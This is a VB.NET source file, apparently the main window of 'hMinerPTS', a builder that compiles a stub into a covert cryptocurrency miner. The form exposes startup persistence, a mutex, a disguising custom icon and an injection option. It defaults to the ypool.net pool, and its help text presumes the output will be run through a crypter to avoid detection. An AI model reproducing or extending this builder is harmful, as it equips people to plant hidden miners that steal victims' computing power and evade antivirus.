146 lines
5.6 KiB
VB.net
146 lines
5.6 KiB
VB.net
Imports hMinerPTS.License
|
|
Imports System.IO
|
|
|
|
Public Class frmMain
|
|
|
|
' Sub New()
|
|
' InitializeComponent()
|
|
' Seal.Protection = RuntimeProtection.FullScan
|
|
' Seal.Initialize("E42E0000") 'Required
|
|
'
|
|
' FormSkin1.Text = "hMinerPTS - Welcome " & Seal.Username & "."
|
|
' statusBar.Text = "Version: " & Seal.ProductVersion.ToString() & " News: " & Seal.GlobalMessage
|
|
' End Sub
|
|
|
|
Private Sub btMinimize_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btMinimize.Click
|
|
Me.WindowState = FormWindowState.Minimized
|
|
End Sub
|
|
|
|
|
|
|
|
Private Sub checkIcon_CheckedChanged(ByVal sender As System.Object) Handles checkIcon.CheckedChanged
|
|
If checkIcon.Checked Then
|
|
btIconBrowse.Enabled = True
|
|
Settings.CustomIcon = True
|
|
Else
|
|
btIconBrowse.Enabled = False
|
|
previewIcon.BackColor = Color.Gainsboro
|
|
previewIcon.Image = Nothing
|
|
Settings.CustomIcon = False
|
|
End If
|
|
End Sub
|
|
|
|
|
|
Private Sub checkStartup_CheckedChanged(ByVal sender As System.Object) Handles checkStartup.CheckedChanged
|
|
If checkStartup.Checked Then
|
|
tbStartup.Enabled = True
|
|
tbStartup.TextColor = Color.White
|
|
Settings.Startup = True
|
|
Else
|
|
tbStartup.Enabled = False
|
|
tbStartup.TextColor = Color.Silver
|
|
tbStartup.Text = "Startupkey"
|
|
Settings.Startup = False
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub checkMutex_CheckedChanged(ByVal sender As System.Object) Handles checkMutex.CheckedChanged
|
|
If checkMutex.Checked Then
|
|
tbMutex.Enabled = True
|
|
tbMutex.TextColor = Color.White
|
|
Settings.Mutex = True
|
|
Else
|
|
tbMutex.Enabled = False
|
|
tbMutex.TextColor = Color.Silver
|
|
tbMutex.Text = "Random Chars"
|
|
Settings.Mutex = False
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub btReset_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btReset.Click
|
|
tbURL.Text = "ypool.net"
|
|
tbWorker.Text = "Example.PTS"
|
|
tbPass.Text = "x"
|
|
checkStartup.Checked = False
|
|
checkMutex.Checked = False
|
|
tbStartup.Text = "Startupkey"
|
|
tbMutex.Text = "Random Chars"
|
|
End Sub
|
|
|
|
Private Sub btHelp_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btHelp.Click
|
|
MsgBox("Mutex: The miner only starts once." & vbNewLine & "Use Startup ONLY if you don't have a crypter!", MsgBoxStyle.OkOnly + MsgBoxStyle.Information, "HELP")
|
|
End Sub
|
|
|
|
Private Sub btIconBrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btIconBrowse.Click
|
|
Using ofd As New OpenFileDialog With {.Title = "Open Icon...", .Filter = "Icon files (*ico)|*.ico", .InitialDirectory = Application.StartupPath}
|
|
If ofd.ShowDialog() = DialogResult.OK Then
|
|
previewIcon.BackColor = Color.Transparent
|
|
previewIcon.ImageLocation = ofd.FileName
|
|
Settings.IconPath = ofd.FileName
|
|
End If
|
|
End Using
|
|
End Sub
|
|
|
|
Private Sub btBuild_MouseEnter(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.MouseEnter
|
|
btBuild.Image = My.Resources.build_hover
|
|
End Sub
|
|
|
|
|
|
Private Sub btBuild_MouseLeave(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.MouseLeave
|
|
btBuild.Image = My.Resources.build
|
|
End Sub
|
|
|
|
Private Sub btBuild_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.Click
|
|
|
|
Dim tmp As String
|
|
tmp = Path.GetTempPath() & "hMine.resources"
|
|
|
|
|
|
Settings.SavePath = Settings.getSavePath()
|
|
If Settings.SavePath = Nothing Then : MsgBox("Please choose a save location!", MsgBoxStyle.OkOnly + MsgBoxStyle.Information) : Exit Sub : End If
|
|
|
|
Dim source As String
|
|
source = Settings.prepareSource(My.Resources.Stub)
|
|
|
|
'IO.File.WriteAllText(Application.StartupPath & "/test.vb", source)
|
|
If Settings.CustomIcon Then
|
|
IO.File.WriteAllBytes(tmp, My.Resources.hMine)
|
|
rCompiler.Compile(source, Settings.SavePath, tmp, Settings.IconPath)
|
|
IO.File.Delete(tmp)
|
|
Else
|
|
IO.File.WriteAllBytes(tmp, My.Resources.hMine)
|
|
rCompiler.Compile(source, Settings.SavePath, tmp)
|
|
IO.File.Delete(tmp)
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub checkPercent_CheckedChanged(ByVal sender As System.Object) Handles checkPercent.CheckedChanged
|
|
If checkPercent.Checked Then
|
|
nThreads.Enabled = False
|
|
nThreads.Value = 0
|
|
Settings.ThreadPercent = True
|
|
Else
|
|
nThreads.Enabled = True
|
|
Settings.ThreadPercent = False
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub checkDebug_CheckedChanged(ByVal sender As System.Object) Handles checkDebug.CheckedChanged
|
|
If checkDebug.Checked Then
|
|
Settings.DebugMode = True
|
|
Else
|
|
Settings.DebugMode = False
|
|
End If
|
|
End Sub
|
|
|
|
'Private Sub FlatButton1_Click(sender As System.Object, e As System.EventArgs) Handles FlatButton1.Click
|
|
' MsgBox(Settings.prepareSource(My.Resources.Stub))
|
|
|
|
'MsgBox(System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "vbc.exe")
|
|
'End Sub
|
|
|
|
Private Sub frmMain_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
|
comboInject.SelectedIndex = 1
|
|
End Sub
|
|
End Class
|